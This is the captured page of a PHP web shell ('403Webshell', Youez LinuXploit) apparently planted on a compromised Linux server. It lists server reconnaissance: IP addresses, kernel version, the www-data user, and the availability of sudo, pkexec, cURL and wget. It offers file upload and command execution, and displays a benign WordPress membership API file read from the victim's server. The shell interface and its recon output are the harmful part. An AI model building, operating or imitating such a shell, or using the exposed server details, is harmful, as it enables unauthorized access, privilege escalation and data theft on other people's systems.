403Webshell
Server IP : 158.247.231.215  /  Your IP : 216.73.216.111
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux CTMS 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /mnt/blockstorage/ctms/api/custom-api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /mnt/blockstorage/ctms/api/custom-api/user-membership.php
<?php
/**
 * Get User Membership API
 * GET /api/custom-api/user-membership.php
 * Requires: Authorization header with Bearer token
 */

header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, OPTIONS');
header("Access-Control-Allow-Headers: X-Requested-With, Content-Type, Authorization");
header('Content-Type: application/json');

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit();
}

// Load WordPress
require_once('/mnt/blockstorage/ctms/wp-load.php');
require_once('auth-helper.php');

if ($_SERVER['REQUEST_METHOD'] !== 'GET') {
    send_error_response('Only GET requests are allowed', 405);
}

// Verify JWT token
$user_id = verify_jwt_token();

if (!$user_id) {
    send_error_response('User not authenticated', 401);
}

global $wpdb;

// Get current membership
$current_membership = $wpdb->get_row($wpdb->prepare(
    "SELECT
        mu.membership_id,
        ml.name,
        ml.description,
        mu.initial_payment,
        mu.billing_amount,
        mu.cycle_number,
        mu.cycle_period,
        mu.billing_limit,
        mu.trial_amount,
        mu.trial_limit,
        mu.startdate,
        mu.enddate
    FROM {$wpdb->prefix}pmpro_memberships_users mu
    JOIN {$wpdb->prefix}pmpro_membership_levels ml ON mu.membership_id = ml.id
    WHERE mu.user_id = %d
    AND mu.status = 'active'
    ORDER BY mu.id DESC
    LIMIT 1",
    $user_id
));

// Get membership history
$membership_history = $wpdb->get_results($wpdb->prepare(
    "SELECT
        mu.membership_id,
        ml.name,
        mu.startdate,
        mu.enddate,
        mu.status
    FROM {$wpdb->prefix}pmpro_memberships_users mu
    JOIN {$wpdb->prefix}pmpro_membership_levels ml ON mu.membership_id = ml.id
    WHERE mu.user_id = %d
    ORDER BY mu.startdate DESC",
    $user_id
));

$currency = get_option('pmpro_currency', 'USD');

send_json_response(array(
    'success' => true,
    'current_membership' => $current_membership ? array(
        'id' => (int) $current_membership->membership_id,
        'name' => $current_membership->name,
        'description' => $current_membership->description,
        'start_date' => $current_membership->startdate,
        'end_date' => $current_membership->enddate === '0000-00-00 00:00:00' ? null : $current_membership->enddate,
        'initial_payment' => (float) $current_membership->initial_payment,
        'billing_amount' => (float) $current_membership->billing_amount,
        'cycle_number' => (int) $current_membership->cycle_number,
        'cycle_period' => $current_membership->cycle_period,
        'billing_limit' => (int) $current_membership->billing_limit,
        'trial_amount' => (float) $current_membership->trial_amount,
        'trial_limit' => (int) $current_membership->trial_limit,
        'status' => 'active',
    ) : null,
    'membership_history' => array_map(function($item) {
        return array(
            'id' => (int) $item->membership_id,
            'name' => $item->name,
            'start_date' => $item->startdate,
            'end_date' => $item->enddate === '0000-00-00 00:00:00' ? null : $item->enddate,
            'status' => $item->status,
        );
    }, $membership_history),
    'currency' => $currency,
), 200);
?>

Youez - 2016 - github.com/yon3zu
LinuXploit